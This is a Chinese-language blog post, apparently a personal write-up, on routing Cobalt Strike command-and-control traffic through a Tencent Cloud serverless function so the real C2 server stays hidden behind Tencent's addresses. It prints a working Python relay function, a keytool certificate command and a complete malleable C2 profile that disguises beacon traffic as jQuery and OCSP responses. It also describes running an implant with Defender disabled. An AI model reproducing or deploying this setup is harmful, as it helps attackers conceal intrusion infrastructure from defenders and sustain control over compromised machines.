云函数隐藏C2爬坑记

2022-01-05 16:32:01 浏览数 (1)

启动云函数

* 在腾讯云控制台搜索云函数,在函数服务->函数管理进行新建->自定义

// **坑点一:**要根据cs监听类型http/https在脚本内填入c2服务器地址

代码语言:javascript复制
``` py3代码
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
 C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
 path=event['path']
 headers=event['headers']
 print(event)
 if event['httpMethod'] == 'GET' :
 resp=requests.get(C2 path,headers=headers,verify=False) 
  else:
 resp=requests.post(C2 path,data=event['body'],headers=headers,verify=False)
 print(resp.headers)
 print(resp.content)
 response={
 "isBase64Encoded": True,
 "statusCode": resp.status_code,
 "headers": dict(resp.headers),
 "body": str(base64.b64encode(resp.content))[2:-1]
 }
 return response
```

* 部署完代码后新建触发器,更改下述两个选项即可

* 进入触发器api配置,更改路径为/,配置完直接发布api

// 这个时候可以访问下api地址,然后在函数服务的日志查询看一下有没有日志,如果有日志的话云函数配置就ok了

## * 配置CS profile

* 使用keytool生成证书文件,记住证书密码,后面要在profile配置

```

keytool -keystore cobaltStrike.store -storepass password -keypass password -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"

```

* profile 模板,**这儿有个坑,我用的是cs4.3 需要整一下花括号位置,花括号要另起一行,不然会报错找不到括号**

代码语言:javascript复制
``` 
set sample_name "kris_abao";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";
https-certificate 
{
 set keystore "cobaltStrike.store"; //证书名
 set password "123456"; //密码
 ## Option 3) Cobalt Strike Self-Signed Certificate
 set C "US";
 set CN "jquery.com";
 set O "jQuery";
 set OU "Certificate Authority";
 set validity "365";
}
http-get 
{
 set uri "/api/getit";
 client {
 header "Accept" "*/*";
 metadata {
 base64;
 prepend "SESSIONID=";
 header "Cookie";
 }
 }
 server {
 header "Content-Type" "application/ocsp-response";
 header "content-transfer-encoding" "binary";
 header "Server" "Nodejs";
 output {
 base64;
 print;
 }
 }
}
http-stager 
{ 
 set uri_x86 "/vue.min.js";
 set uri_x64 "/bootstrap-2.min.js";
}
http-post {
 set uri "/api/postit";
 client {
 header "Accept" "*/*";
 id {
 base64;
 prepend "JSESSION=";
 header "Cookie";
 }
 output {
 base64;
 print;
 }
 }
 server 
 {
 header "Content-Type" "application/ocsp-response";
 header "content-transfer-encoding" "binary";
 header "Connection" "keep-alive";
 output {
 base64;
 print;
 }
 }
}
```

* 创建完成后,把证书和profile文件rz扔到cs文件夹,使用./teamserver vpsip password c2.profile 加载profile启动cs,下面这样就是启动成功

* 本地客户端连接,创建监听,**第三个坑,这里只能创建80和443端口的监听,因为我们的流量是通过云函数进来的,云函数只支持80和443,这里的监听实际上是中间人云函数的监听地址和端口,如果云函数C2地址配的是http就开80监听;https就开443,https方式监听**

* 打开cs web日志,访问云函数api的443端口,发现cs的日志出现流量

出现腾讯云流量,至此云函数已经配置成功

## * 测试

* 这儿没做cs马的免杀,关了defender(被干的太惨了),选择https的监听方式,直接上线,sleep调到0发现监听ip会一直变动,配置生效

## * 总结

* 云函数隐藏C2原理

马 -> 腾讯云函数api -> py函数 -> CS服务端

​ CS马被执行后,流量直接走向腾讯云的api(也就是这一步达成了隐藏C2服务端的目的,腾讯地址,有腾讯的CDN),然后py函数会根据传入的流量作为中间人对CS服务端进行请求,并获取返回结果后返回请求获取的数据信息(py代码的请求内容和CS服务端加载的profile是相对应的,CS服务端根据py函数传入的数据来获取相关信息)

0 人点赞